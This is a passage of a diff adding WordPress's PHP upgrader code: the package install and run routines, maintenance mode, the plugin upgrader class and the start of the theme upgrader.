+	 *     @type string $source                      Required path to the package source. Default empty.
+	 *     @type string $destination                 Required path to a folder to install the package in.
+	 *                                               Default empty.
+	 *     @type bool   $clear_destination           Whether to delete any files already in the destination
+	 *                                               folder. Default false.
+	 *     @type bool   $clear_working               Whether to delete the files form the working directory
+	 *                                               after copying to the destination. Default false.
+	 *     @type bool   $abort_if_destination_exists Whether to abort the installation if
+	 *                                               the destination folder already exists. Default true.
+	 *     @type array  $hook_extra                  Extra arguments to pass to the filter hooks called by
+	 *                                               {@see WP_Upgrader::install_package()}. Default empty array.
+	 * }
+	 *
+	 * @return array|WP_Error The result (also stored in `WP_Upgrader:$result`), or a {@see WP_Error} on failure.
+	 */
+	public function install_package( $args = array() ) {
+		global $wp_filesystem, $wp_theme_directories;
+
+		$defaults = array(
+			'source' => '', // Please always pass this
+			'destination' => '', // and this
+			'clear_destination' => false,
+			'clear_working' => false,
+			'abort_if_destination_exists' => true,
+			'hook_extra' => array()
+		);
+
+		$args = wp_parse_args($args, $defaults);
+
+		// These were previously extract()'d.
+		$source = $args['source'];
+		$destination = $args['destination'];
+		$clear_destination = $args['clear_destination'];
+
+		@set_time_limit( 300 );
+
+		if ( empty( $source ) || empty( $destination ) ) {
+			return new WP_Error( 'bad_request', $this->strings['bad_request'] );
+		}
+		$this->skin->feedback( 'installing_package' );
+
+		/**
+		 * Filter the install response before the installation has started.
+		 *
+		 * Returning a truthy value, or one that could be evaluated as a WP_Error
+		 * will effectively short-circuit the installation, returning that value
+		 * instead.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param bool|WP_Error $response   Response.
+		 * @param array         $hook_extra Extra arguments passed to hooked filters.
+		 */
+		$res = apply_filters( 'upgrader_pre_install', true, $args['hook_extra'] );
+		if ( is_wp_error( $res ) ) {
+			return $res;
+		}
+
+		//Retain the Original source and destinations
+		$remote_source = $args['source'];
+		$local_destination = $destination;
+
+		$source_files = array_keys( $wp_filesystem->dirlist( $remote_source ) );
+		$remote_destination = $wp_filesystem->find_folder( $local_destination );
+
+		//Locate which directory to copy to the new folder, This is based on the actual folder holding the files.
+		if ( 1 == count( $source_files ) && $wp_filesystem->is_dir( trailingslashit( $args['source'] ) . $source_files[0] . '/' ) ) { //Only one folder? Then we want its contents.
+			$source = trailingslashit( $args['source'] ) . trailingslashit( $source_files[0] );
+		} elseif ( count( $source_files ) == 0 ) {
+			return new WP_Error( 'incompatible_archive_empty', $this->strings['incompatible_archive'], $this->strings['no_files'] ); // There are no files?
+		} else { //It's only a single file, the upgrader will use the foldername of this file as the destination folder. foldername is based on zip filename.
+			$source = trailingslashit( $args['source'] );
+		}
+
+		/**
+		 * Filter the source file location for the upgrade package.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param string      $source        File source location.
+		 * @param string      $remote_source Remove file source location.
+		 * @param WP_Upgrader $this          WP_Upgrader instance.
+		 */
+		$source = apply_filters( 'upgrader_source_selection', $source, $remote_source, $this );
+		if ( is_wp_error( $source ) ) {
+			return $source;
+		}
+
+		// Has the source location changed? If so, we need a new source_files list.
+		if ( $source !== $remote_source ) {
+			$source_files = array_keys( $wp_filesystem->dirlist( $source ) );
+		}
+		/*
+		 * Protection against deleting files in any important base directories.
+		 * Theme_Upgrader & Plugin_Upgrader also trigger this, as they pass the
+		 * destination directory (WP_PLUGIN_DIR / wp-content/themes) intending
+		 * to copy the directory into the directory, whilst they pass the source
+		 * as the actual files to copy.
+		 */
+		$protected_directories = array( ABSPATH, WP_CONTENT_DIR, WP_PLUGIN_DIR, WP_CONTENT_DIR . '/themes' );
+
+		if ( is_array( $wp_theme_directories ) ) {
+			$protected_directories = array_merge( $protected_directories, $wp_theme_directories );
+		}
+		if ( in_array( $destination, $protected_directories ) ) {
+			$remote_destination = trailingslashit( $remote_destination ) . trailingslashit( basename( $source ) );
+			$destination = trailingslashit( $destination ) . trailingslashit( basename( $source ) );
+		}
+
+		if ( $clear_destination ) {
+			//We're going to clear the destination if there's something there
+			$this->skin->feedback('remove_old');
+			$removed = true;
+			if ( $wp_filesystem->exists( $remote_destination ) ) {
+				$removed = $wp_filesystem->delete( $remote_destination, true );
+			}
+
+			/**
+			 * Filter whether the upgrader cleared the destination.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param bool   $removed            Whether the destination was cleared.
+			 * @param string $local_destination  The local package destination.
+			 * @param string $remote_destination The remote package destination.
+			 * @param array  $hook_extra         Extra arguments passed to hooked filters.
+			 */
+			$removed = apply_filters( 'upgrader_clear_destination', $removed, $local_destination, $remote_destination, $args['hook_extra'] );
+
+			if ( is_wp_error($removed) ) {
+				return $removed;
+			} else if ( ! $removed ) {
+				return new WP_Error('remove_old_failed', $this->strings['remove_old_failed']);
+			}
+		} elseif ( $args['abort_if_destination_exists'] && $wp_filesystem->exists($remote_destination) ) {
+			//If we're not clearing the destination folder and something exists there already, Bail.
+			//But first check to see if there are actually any files in the folder.
+			$_files = $wp_filesystem->dirlist($remote_destination);
+			if ( ! empty($_files) ) {
+				$wp_filesystem->delete($remote_source, true); //Clear out the source files.
+				return new WP_Error('folder_exists', $this->strings['folder_exists'], $remote_destination );
+			}
+		}
+
+		//Create destination if needed
+		if ( ! $wp_filesystem->exists( $remote_destination ) ) {
+			if ( ! $wp_filesystem->mkdir( $remote_destination, FS_CHMOD_DIR ) ) {
+				return new WP_Error( 'mkdir_failed_destination', $this->strings['mkdir_failed'], $remote_destination );
+			}
+		}
+		// Copy new version of item into place.
+		$result = copy_dir($source, $remote_destination);
+		if ( is_wp_error($result) ) {
+			if ( $args['clear_working'] ) {
+				$wp_filesystem->delete( $remote_source, true );
+			}
+			return $result;
+		}
+
+		//Clear the Working folder?
+		if ( $args['clear_working'] ) {
+			$wp_filesystem->delete( $remote_source, true );
+		}
+
+		$destination_name = basename( str_replace($local_destination, '', $destination) );
+		if ( '.' == $destination_name ) {
+			$destination_name = '';
+		}
+
+		$this->result = compact('local_source', 'source', 'source_name', 'source_files', 'destination', 'destination_name', 'local_destination', 'remote_destination', 'clear_destination', 'delete_source_dir');
+
+		/**
+		 * Filter the install response after the installation has finished.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param bool  $response   Install response.
+		 * @param array $hook_extra Extra arguments passed to hooked filters.
+		 * @param array $result     Installation result data.
+		 */
+		$res = apply_filters( 'upgrader_post_install', true, $args['hook_extra'], $this->result );
+
+		if ( is_wp_error($res) ) {
+			$this->result = $res;
+			return $res;
+		}
+
+		//Bombard the calling function will all the info which we've just used.
+		return $this->result;
+	}
+
+	/**
+	 * Run an upgrade/install.
+	 *
+	 * Attempts to download the package (if it is not a local file), unpack it, and
+	 * install it in the destination folder.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $options {
+	 *     Array or string of arguments for upgrading/installing a package.
+	 *
+	 *     @type string $package                     The full path or URI of the package to install.
+	 *                                               Default empty.
+	 *     @type string $destination                 The full path to the destination folder.
+	 *                                               Default empty.
+	 *     @type bool   $clear_destination           Whether to delete any files already in the
+	 *                                               destination folder. Default false.
+	 *     @type bool   $clear_working               Whether to delete the files form the working
+	 *                                               directory after copying to the destination.
+	 *                                               Default false.
+	 *     @type bool   $abort_if_destination_exists Whether to abort the installation if the destination
+	 *                                               folder already exists. When true, `$clear_destination`
+	 *                                               should be false. Default true.
+	 *     @type bool   $is_multi                    Whether this run is one of multiple upgrade/install
+	 *                                               actions being performed in bulk. When true, the skin
+	 *                                               {@see WP_Upgrader::header()} and {@see WP_Upgrader::footer()}
+	 *                                               aren't called. Default false.
+	 *     @type array  $hook_extra                  Extra arguments to pass to the filter hooks called by
+	 *                                               {@see WP_Upgrader::run()}.
+	 * }
+	 *
+	 * @return array|false|WP_error The result from self::install_package() on success, otherwise a WP_Error,
+	 *                              or false if unable to connect to the filesystem.
+	 */
+	public function run( $options ) {
+
+		$defaults = array(
+			'package' => '', // Please always pass this.
+			'destination' => '', // And this
+			'clear_destination' => false,
+			'abort_if_destination_exists' => true, // Abort if the Destination directory exists, Pass clear_destination as false please
+			'clear_working' => true,
+			'is_multi' => false,
+			'hook_extra' => array() // Pass any extra $hook_extra args here, this will be passed to any hooked filters.
+		);
+
+		$options = wp_parse_args( $options, $defaults );
+
+		if ( ! $options['is_multi'] ) { // call $this->header separately if running multiple times
+			$this->skin->header();
+		}
+
+		// Connect to the Filesystem first.
+		$res = $this->fs_connect( array( WP_CONTENT_DIR, $options['destination'] ) );
+		// Mainly for non-connected filesystem.
+		if ( ! $res ) {
+			if ( ! $options['is_multi'] ) {
+				$this->skin->footer();
+			}
+			return false;
+		}
+
+		$this->skin->before();
+
+		if ( is_wp_error($res) ) {
+			$this->skin->error($res);
+			$this->skin->after();
+			if ( ! $options['is_multi'] ) {
+				$this->skin->footer();
+			}
+			return $res;
+		}
+
+		//Download the package (Note, This just returns the filename of the file if the package is a local file)
+		$download = $this->download_package( $options['package'] );
+		if ( is_wp_error($download) ) {
+			$this->skin->error($download);
+			$this->skin->after();
+			if ( ! $options['is_multi'] ) {
+				$this->skin->footer();
+			}
+			return $download;
+		}
+
+		$delete_package = ( $download != $options['package'] ); // Do not delete a "local" file
+
+		//Unzips the file into a temporary directory
+		$working_dir = $this->unpack_package( $download, $delete_package );
+		if ( is_wp_error($working_dir) ) {
+			$this->skin->error($working_dir);
+			$this->skin->after();
+			if ( ! $options['is_multi'] ) {
+				$this->skin->footer();
+			}
+			return $working_dir;
+		}
+
+		//With the given options, this installs it to the destination directory.
+		$result = $this->install_package( array(
+			'source' => $working_dir,
+			'destination' => $options['destination'],
+			'clear_destination' => $options['clear_destination'],
+			'abort_if_destination_exists' => $options['abort_if_destination_exists'],
+			'clear_working' => $options['clear_working'],
+			'hook_extra' => $options['hook_extra']
+		) );
+
+		$this->skin->set_result($result);
+		if ( is_wp_error($result) ) {
+			$this->skin->error($result);
+			$this->skin->feedback('process_failed');
+		} else {
+			//Install Succeeded
+			$this->skin->feedback('process_success');
+		}
+
+		$this->skin->after();
+
+		if ( ! $options['is_multi'] ) {
+
+			/** This action is documented in wp-admin/includes/class-wp-upgrader.php */
+			do_action( 'upgrader_process_complete', $this, $options['hook_extra'] );
+			$this->skin->footer();
+		}
+
+		return $result;
+	}
+
+	/**
+	 * Toggle maintenance mode for the site.
+	 *
+	 * Creates/deletes the maintenance file to enable/disable maintenance mode.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param bool $enable True to enable maintenance mode, false to disable.
+	 */
+	public function maintenance_mode( $enable = false ) {
+		global $wp_filesystem;
+		$file = $wp_filesystem->abspath() . '.maintenance';
+		if ( $enable ) {
+			$this->skin->feedback('maintenance_start');
+			// Create maintenance file to signal that we are upgrading
+			$maintenance_string = '<?php $upgrading = ' . time() . '; ?>';
+			$wp_filesystem->delete($file);
+			$wp_filesystem->put_contents($file, $maintenance_string, FS_CHMOD_FILE);
+		} else if ( !$enable && $wp_filesystem->exists($file) ) {
+			$this->skin->feedback('maintenance_end');
+			$wp_filesystem->delete($file);
+		}
+	}
+
+}
+
+/**
+ * Plugin Upgrader class for WordPress Plugins, It is designed to upgrade/install plugins from a local zip, remote zip URL, or uploaded zip file.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+class Plugin_Upgrader extends WP_Upgrader {
+
+	/**
+	 * Plugin upgrade result.
+	 *
+	 * @since 2.8.0
+	 * @var array|WP_Error $result
+	 * @see WP_Upgrader::$result
+	 */
+	public $result;
+
+	/**
+	 * Whether a bulk upgrade/install is being performed.
+	 *
+	 * @since 2.9.0
+	 * @var bool $bulk
+	 */
+	public $bulk = false;
+
+	/**
+	 * Initialize the upgrade strings.
+	 *
+	 * @since 2.8.0
+	 */
+	public function upgrade_strings() {
+		$this->strings['up_to_date'] = __('The plugin is at the latest version.');
+		$this->strings['no_package'] = __('Update package not available.');
+		$this->strings['downloading_package'] = __('Downloading update from <span class="code">%s</span>&#8230;');
+		$this->strings['unpack_package'] = __('Unpacking the update&#8230;');
+		$this->strings['remove_old'] = __('Removing the old version of the plugin&#8230;');
+		$this->strings['remove_old_failed'] = __('Could not remove the old plugin.');
+		$this->strings['process_failed'] = __('Plugin update failed.');
+		$this->strings['process_success'] = __('Plugin updated successfully.');
+	}
+
+	/**
+	 * Initialize the install strings.
+	 *
+	 * @since 2.8.0
+	 */
+	public function install_strings() {
+		$this->strings['no_package'] = __('Install package not available.');
+		$this->strings['downloading_package'] = __('Downloading install package from <span class="code">%s</span>&#8230;');
+		$this->strings['unpack_package'] = __('Unpacking the package&#8230;');
+		$this->strings['installing_package'] = __('Installing the plugin&#8230;');
+		$this->strings['no_files'] = __('The plugin contains no files.');
+		$this->strings['process_failed'] = __('Plugin install failed.');
+		$this->strings['process_success'] = __('Plugin installed successfully.');
+	}
+
+	/**
+	 * Install a plugin package.
+	 *
+	 * @since 2.8.0
+	 * @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional.
+	 *
+	 * @param string $package The full local path or URI of the package.
+	 * @param array  $args {
+	 *     Optional. Other arguments for installing a plugin package. Default empty array.
+	 *
+	 *     @type bool $clear_update_cache Whether to clear the plugin updates cache if successful.
+	 *                                    Default true.
+	 * }
+	 *
+	 * @return bool|WP_Error True if the install was successful, false or a WP_Error otherwise.
+	 */
+	public function install( $package, $args = array() ) {
+
+		$defaults = array(
+			'clear_update_cache' => true,
+		);
+		$parsed_args = wp_parse_args( $args, $defaults );
+
+		$this->init();
+		$this->install_strings();
+
+		add_filter('upgrader_source_selection', array($this, 'check_package') );
+
+		$this->run( array(
+			'package' => $package,
+			'destination' => WP_PLUGIN_DIR,
+			'clear_destination' => false, // Do not overwrite files.
+			'clear_working' => true,
+			'hook_extra' => array(
+				'type' => 'plugin',
+				'action' => 'install',
+			)
+		) );
+
+		remove_filter('upgrader_source_selection', array($this, 'check_package') );
+
+		if ( ! $this->result || is_wp_error($this->result) )
+			return $this->result;
+
+		// Force refresh of plugin update information
+		wp_clean_plugins_cache( $parsed_args['clear_update_cache'] );
+
+		return true;
+	}
+
+	/**
+	 * Upgrade a plugin.
+	 *
+	 * @since 2.8.0
+	 * @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional.
+	 *
+	 * @param string $plugin The basename path to the main plugin file.
+	 * @param array  $args {
+	 *     Optional. Other arguments for upgrading a plugin package. Defualt empty array.
+	 *
+	 *     @type bool $clear_update_cache Whether to clear the plugin updates cache if successful.
+	 *                                    Default true.
+	 * }
+	 * @return bool|WP_Error True if the upgrade was successful, false or a {@see WP_Error} object otherwise.
+	 */
+	public function upgrade( $plugin, $args = array() ) {
+
+		$defaults = array(
+			'clear_update_cache' => true,
+		);
+		$parsed_args = wp_parse_args( $args, $defaults );
+
+		$this->init();
+		$this->upgrade_strings();
+
+		$current = get_site_transient( 'update_plugins' );
+		if ( !isset( $current->response[ $plugin ] ) ) {
+			$this->skin->before();
+			$this->skin->set_result(false);
+			$this->skin->error('up_to_date');
+			$this->skin->after();
+			return false;
+		}
+
+		// Get the URL to the zip file
+		$r = $current->response[ $plugin ];
+
+		add_filter('upgrader_pre_install', array($this, 'deactivate_plugin_before_upgrade'), 10, 2);
+		add_filter('upgrader_clear_destination', array($this, 'delete_old_plugin'), 10, 4);
+		//'source_selection' => array($this, 'source_selection'), //there's a trac ticket to move up the directory for zip's which are made a bit differently, useful for non-.org plugins.
+
+		$this->run( array(
+			'package' => $r->package,
+			'destination' => WP_PLUGIN_DIR,
+			'clear_destination' => true,
+			'clear_working' => true,
+			'hook_extra' => array(
+				'plugin' => $plugin,
+				'type' => 'plugin',
+				'action' => 'update',
+			),
+		) );
+
+		// Cleanup our hooks, in case something else does a upgrade on this connection.
+		remove_filter('upgrader_pre_install', array($this, 'deactivate_plugin_before_upgrade'));
+		remove_filter('upgrader_clear_destination', array($this, 'delete_old_plugin'));
+
+		if ( ! $this->result || is_wp_error($this->result) )
+			return $this->result;
+
+		// Force refresh of plugin update information
+		wp_clean_plugins_cache( $parsed_args['clear_update_cache'] );
+
+		return true;
+	}
+
+	/**
+	 * Bulk upgrade several plugins at once.
+	 *
+	 * @since 2.8.0
+	 * @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional.
+	 *
+	 * @param string $plugins Array of the basename paths of the plugins' main files.
+	 * @param array  $args {
+	 *     Optional. Other arguments for upgrading several plugins at once. Default empty array.
+	 *
+	 *     @type bool $clear_update_cache Whether to clear the plugin updates cache if successful.
+	 *                                    Default true.
+	 * }
+	 *
+	 * @return array|false An array of results indexed by plugin file, or false if unable to connect to the filesystem.
+	 */
+	public function bulk_upgrade( $plugins, $args = array() ) {
+
+		$defaults = array(
+			'clear_update_cache' => true,
+		);
+		$parsed_args = wp_parse_args( $args, $defaults );
+
+		$this->init();
+		$this->bulk = true;
+		$this->upgrade_strings();
+
+		$current = get_site_transient( 'update_plugins' );
+
+		add_filter('upgrader_clear_destination', array($this, 'delete_old_plugin'), 10, 4);
+
+		$this->skin->header();
+
+		// Connect to the Filesystem first.
+		$res = $this->fs_connect( array(WP_CONTENT_DIR, WP_PLUGIN_DIR) );
+		if ( ! $res ) {
+			$this->skin->footer();
+			return false;
+		}
+
+		$this->skin->bulk_header();
+
+		// Only start maintenance mode if:
+		// - running Multisite and there are one or more plugins specified, OR
+		// - a plugin with an update available is currently active.
+		// @TODO: For multisite, maintenance mode should only kick in for individual sites if at all possible.
+		$maintenance = ( is_multisite() && ! empty( $plugins ) );
+		foreach ( $plugins as $plugin )
+			$maintenance = $maintenance || ( is_plugin_active( $plugin ) && isset( $current->response[ $plugin] ) );
+		if ( $maintenance )
+			$this->maintenance_mode(true);
+
+		$results = array();
+
+		$this->update_count = count($plugins);
+		$this->update_current = 0;
+		foreach ( $plugins as $plugin ) {
+			$this->update_current++;
+			$this->skin->plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin, false, true);
+
+			if ( !isset( $current->response[ $plugin ] ) ) {
+				$this->skin->set_result('up_to_date');
+				$this->skin->before();
+				$this->skin->feedback('up_to_date');
+				$this->skin->after();
+				$results[$plugin] = true;
+				continue;
+			}
+
+			// Get the URL to the zip file
+			$r = $current->response[ $plugin ];
+
+			$this->skin->plugin_active = is_plugin_active($plugin);
+
+			$result = $this->run( array(
+				'package' => $r->package,
+				'destination' => WP_PLUGIN_DIR,
+				'clear_destination' => true,
+				'clear_working' => true,
+				'is_multi' => true,
+				'hook_extra' => array(
+					'plugin' => $plugin
+				)
+			) );
+
+			$results[$plugin] = $this->result;
+
+			// Prevent credentials auth screen from displaying multiple times
+			if ( false === $result )
+				break;
+		} //end foreach $plugins
+
+		$this->maintenance_mode(false);
+
+		/**
+		 * Fires when the bulk upgrader process is complete.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param Plugin_Upgrader $this Plugin_Upgrader instance. In other contexts, $this, might
+		 *                              be a Theme_Upgrader or Core_Upgrade instance.
+		 * @param array           $data {
+		 *     Array of bulk item update data.
+		 *
+		 *     @type string $action   Type of action. Default 'update'.
+		 *     @type string $type     Type of update process. Accepts 'plugin', 'theme', or 'core'.
+		 *     @type bool   $bulk     Whether the update process is a bulk update. Default true.
+		 *     @type array  $packages Array of plugin, theme, or core packages to update.
+		 * }
+		 */
+		do_action( 'upgrader_process_complete', $this, array(
+			'action' => 'update',
+			'type' => 'plugin',
+			'bulk' => true,
+			'plugins' => $plugins,
+		) );
+
+		$this->skin->bulk_footer();
+
+		$this->skin->footer();
+
+		// Cleanup our hooks, in case something else does a upgrade on this connection.
+		remove_filter('upgrader_clear_destination', array($this, 'delete_old_plugin'));
+
+		// Force refresh of plugin update information
+		wp_clean_plugins_cache( $parsed_args['clear_update_cache'] );
+
+		return $results;
+	}
+
+	/**
+	 * Check a source package to be sure it contains a plugin.
+	 *
+	 * This function is added to the {@see 'upgrader_source_selection'} filter by
+	 * {@see Plugin_Upgrader::install()}.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $source The path to the downloaded package source.
+	 * @return string|WP_Error The source as passed, or a {@see WP_Error} object if no plugins were found.
+	 */
+	public function check_package($source) {
+		global $wp_filesystem;
+
+		if ( is_wp_error($source) )
+			return $source;
+
+		$working_directory = str_replace( $wp_filesystem->wp_content_dir(), trailingslashit(WP_CONTENT_DIR), $source);
+		if ( ! is_dir($working_directory) ) // Sanity check, if the above fails, let's not prevent installation.
+			return $source;
+
+		// Check the folder contains at least 1 valid plugin.
+		$plugins_found = false;
+		foreach ( glob( $working_directory . '*.php' ) as $file ) {
+			$info = get_plugin_data($file, false, false);
+			if ( !empty( $info['Name'] ) ) {
+				$plugins_found = true;
+				break;
+			}
+		}
+
+		if ( ! $plugins_found )
+			return new WP_Error( 'incompatible_archive_no_plugins', $this->strings['incompatible_archive'], __( 'No valid plugins were found.' ) );
+
+		return $source;
+	}
+
+	/**
+	 * Retrieve the path to the file that contains the plugin info.
+	 *
+	 * This isn't used internally in the class, but is called by the skins.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return string|false The full path to the main plugin file, or false.
+	 */
+	public function plugin_info() {
+		if ( ! is_array($this->result) )
+			return false;
+		if ( empty($this->result['destination_name']) )
+			return false;
+
+		$plugin = get_plugins('/' . $this->result['destination_name']); //Ensure to pass with leading slash
+		if ( empty($plugin) )
+			return false;
+
+		$pluginfiles = array_keys($plugin); //Assume the requested plugin is the first in the list
+
+		return $this->result['destination_name'] . '/' . $pluginfiles[0];
+	}
+
+	/**
+	 * Deactivates a plugin before it is upgraded.
+	 *
+	 * Hooked to the {@see 'upgrader_pre_install'} filter by {@see Plugin_Upgrader::upgrade()}.
+	 *
+	 * @since 2.8.0
+	 * @since 4.1.0 Added a return value.
+	 *
+	 * @param bool|WP_Error  $return Upgrade offer return.
+	 * @param array          $plugin Plugin package arguments.
+	 * @return bool|WP_Error The passed in $return param or {@see WP_Error}.
+	 */
+	public function deactivate_plugin_before_upgrade($return, $plugin) {
+
+		if ( is_wp_error($return) ) //Bypass.
+			return $return;
+
+		// When in cron (background updates) don't deactivate the plugin, as we require a browser to reactivate it
+		if ( defined( 'DOING_CRON' ) && DOING_CRON )
+			return $return;
+
+		$plugin = isset($plugin['plugin']) ? $plugin['plugin'] : '';
+		if ( empty($plugin) )
+			return new WP_Error('bad_request', $this->strings['bad_request']);
+
+		if ( is_plugin_active($plugin) ) {
+			//Deactivate the plugin silently, Prevent deactivation hooks from running.
+			deactivate_plugins($plugin, true);
+		}
+
+		return $return;
+	}
+
+	/**
+	 * Delete the old plugin during an upgrade.
+	 *
+	 * Hooked to the {@see 'upgrader_clear_destination'} filter by
+	 * {@see Plugin_Upgrader::upgrade()} and {@see Plugin_Upgrader::bulk_upgrade()}.
+	 *
+	 * @since 2.8.0
+	 */
+	public function delete_old_plugin($removed, $local_destination, $remote_destination, $plugin) {
+		global $wp_filesystem;
+
+		if ( is_wp_error($removed) )
+			return $removed; //Pass errors through.
+
+		$plugin = isset($plugin['plugin']) ? $plugin['plugin'] : '';
+		if ( empty($plugin) )
+			return new WP_Error('bad_request', $this->strings['bad_request']);
+
+		$plugins_dir = $wp_filesystem->wp_plugins_dir();
+		$this_plugin_dir = trailingslashit( dirname($plugins_dir . $plugin) );
+
+		if ( ! $wp_filesystem->exists($this_plugin_dir) ) //If it's already vanished.
+			return $removed;
+
+		// If plugin is in its own directory, recursively delete the directory.
+		if ( strpos($plugin, '/') && $this_plugin_dir != $plugins_dir ) //base check on if plugin includes directory separator AND that it's not the root plugin folder
+			$deleted = $wp_filesystem->delete($this_plugin_dir, true);
+		else
+			$deleted = $wp_filesystem->delete($plugins_dir . $plugin);
+
+		if ( ! $deleted )
+			return new WP_Error('remove_old_failed', $this->strings['remove_old_failed']);
+
+		return true;
+	}
+}
+
+/**
+ * Theme Upgrader class for WordPress Themes, It is designed to upgrade/install themes from a local zip, remote zip URL, or uploaded zip file.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+class Theme_Upgrader extends WP_Upgrader {
+
+	/**
+	 * Result of the theme upgrade offer.
+	 *
+	 * @since 2.8.0
+	 * @var array|WP_Erorr $result
+	 * @see WP_Upgrader::$result
+	 */
+	public $result;
+
+	/**
+	 * Whether multiple plugins are being upgraded/installed in bulk.
+	 *
+	 * @since 2.9.0
+	 * @var bool $bulk
+	 */
+	public $bulk = false;
+
+	/**
+	 * Initialize the upgrade strings.
+	 *
+	 * @since 2.8.0
+	 */
+	public function upgrade_strings() {
+		$this->strings['up_to_date'] = __('The theme is at the latest version.');
+		$this->strings['no_package'] = __('Update package not available.');
+		$this->strings['downloading_package'] = __('Downloading update from <span class="code">%s</span>&#8230;');
+		$this->strings['unpack_package'] = __('Unpacking the update&#8230;');
+		$this->strings['remove_old'] = __('Removing the old version of the theme&#8230;');
+		$this->strings['remove_old_failed'] = __('Could not remove the old theme.');
+		$this->strings['process_failed'] = __('Theme update failed.');
+		$this->strings['process_success'] = __('Theme updated successfully.');
+	}
+
+	/**
+	 * Initialize the install strings.
+	 *
+	 * @since 2.8.0
+	 */
+	public function install_strings() {
+		$this->strings['no_package'] = __('Install package not available.');
+		$this->strings['downloading_package'] = __('Downloading install package from <span class="code">%s</span>&#8230;');
+		$this->strings['unpack_package'] = __('Unpacking the package&#8230;');
+		$this->strings['installing_package'] = __('Installing the theme&#8230;');
+		$this->strings['no_files'] = __('The theme contains no files.');
+		$this->strings['process_failed'] = __('Theme install failed.');
+		$this->strings['process_success'] = __('Theme installed successfully.');
+		/* translators: 1: theme name, 2: version */
+		$this->strings['process_success_specific'] = __('Successfully installed the theme <strong>%1$s %2$s</strong>.');
+		$this->strings['parent_theme_search'] = __('This theme requires a parent theme. Checking if it is installed&#8230;');
+		/* translators: 1: theme name, 2: version */
+		$this->strings['parent_theme_prepare_install'] = __('Preparing to install <strong>%1$s %2$s</strong>&#8230;');
+		/* translators: 1: theme name, 2: version */
+		$this->strings['parent_theme_currently_installed'] = __('The parent theme, <strong>%1$s %2$s</strong>, is currently installed.');
+		/* translators: 1: theme name, 2: version */
+		$this->strings['parent_theme_install_success'] = __('Successfully installed the parent theme, <strong>%1$s %2$s</strong>.');
+		$this->strings['parent_theme_not_found'] = __('<strong>The parent theme could not be found.</strong> You will need to install the parent theme, <strong>%s</strong>, before you can use this child theme.');
+	}
+
+	/**
+	 * Check if a child theme is being installed and we need to install its parent.
+	 *
+	 * Hooked to the {@see 'upgrader_post_install'} filter by {@see Theme_Upgrader::install()}.
+	 *
+	 * @since 3.4.0
+	 */
+	public function check_parent_theme_filter( $install_result, $hook_extra, $child_result ) {
+		// Check to see if we need to install a parent theme
+		$theme_info = $this->theme_info();
+
+		if ( ! $theme_info->parent() )
+			return $install_result;
+
+		$this->skin->feedback( 'parent_theme_search' );
+
+		if ( ! $theme_info->parent()->errors() ) {
+			$this->skin->feedback( 'parent_theme_currently_installed', $theme_info->parent()->display('Name'), $theme_info->parent()->display('Version') );
+			// We already have the theme, fall through.
+			return $install_result;
+		}
+
+		// We don't have the parent theme, let's install it.
+		$api = themes_api('theme_information', array('slug' => $theme_info->get('Template'), 'fields' => array('sections' => false, 'tags' => false) ) ); //Save on a bit of bandwidth.
+
+		if ( ! $api || is_wp_error($api) ) {
+			$this->skin->feedback( 'parent_theme_not_found', $theme_info->get('Template') );
+			// Don't show activate or preview actions after install
+			add_filter('install_theme_complete_actions', array($this, 'hide_activate_preview_actions') );
+			return $install_result;
+		}
+
+		// Backup required data we're going to override:
+		$child_api = $this->skin->api;
+		$child_success_message = $this->strings['process_success'];
+
+		// Override them
+		$this->skin->api = $api;
+		$this->strings['process_success_specific'] = $this->strings['parent_theme_install_success'];//, $api->name, $api->version);
+
+		$this->skin->feedback('parent_theme_prepare_install', $api->name, $api->version);
+
+		add_filter('install_theme_complete_actions', '__return_false', 999); // Don't show any actions after installing the theme.
+
+		// Install the parent theme
+		$parent_result = $this->run( array(
+			'package' => $api->download_link,
+			'destination' => get_theme_root(),
+			'clear_destination' => false, //Do not overwrite files.
+			'clear_working' => true
+		) );
+
+		if ( is_wp_error($parent_result) )
+			add_filter('install_theme_complete_actions', array($this, 'hide_activate_preview_actions') );
+
+		// Start cleaning up after the parents installation
+		remove_filter('install_theme_complete_actions', '__return_false', 999);
+
+		// Reset child's result and data
+		$this->result = $child_result;
+		$this->skin->api = $child_api;
+		$this->strings['process_success'] = $child_success_message;
+
+		return $install_result;
+	}
+
+	/**
+	 * Don't display the activate and preview actions to the user.
+	 *
+	 * Hooked to the {@see 'install_theme_complete_actions'} filter by
+	 * {@see Theme_Upgrader::check_parent_theme_filter()} when installing
+	 * a child theme and installing the parent theme fails.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param array $actions Preview actions.
+	 */
+	public function hide_activate_preview_actions( $actions ) {
+		unset($actions['activate'], $actions['preview']);
+		return $actions;
+	}
+
+	/**
+	 * Install a theme package.
+	 *
+	 * @since 2.8.0
+	 * @since 3.7.0 The `$args` parameter was added, making clearing the update cache optional.
+	 *
+	 * @param string $package The full local path or URI of the package.
+	 * @param array  $args {
+	 *     Optional. Other arguments for installing a theme package. Default empty array.
+	 *
+	 *     @type bool $clear_update_cache Whether to clear the updates cache if successful.
+	 *                                    Default true.
+	 * }
+	 *
+	 * @return bool|WP_Error True if the install was successful, false or a {@see WP_Error} object otherwise.
+	 */
+	public function install( $package, $args = array() ) {
+
+		$defaults = array(
+			'clear_update_cache' => true,
+		);
+		$parsed_args = wp_parse_args( $args, $defaults );
+
+		$this->init();
+		$this->install_strings();
+
+		add_filter('upgrader_source_selection', array($this, 'check_package') );
+		add_filter('upgrader_post_install', array($this, 'check_parent_theme_filter'), 10, 3);
+
+		$this->run( array(
+			'package' => $package,
+			'destination' => get_theme_root(),
+			'clear_destination' => false, //Do not overwrite files.
+			'clear_working' => true,
+			'hook_extra' => array(
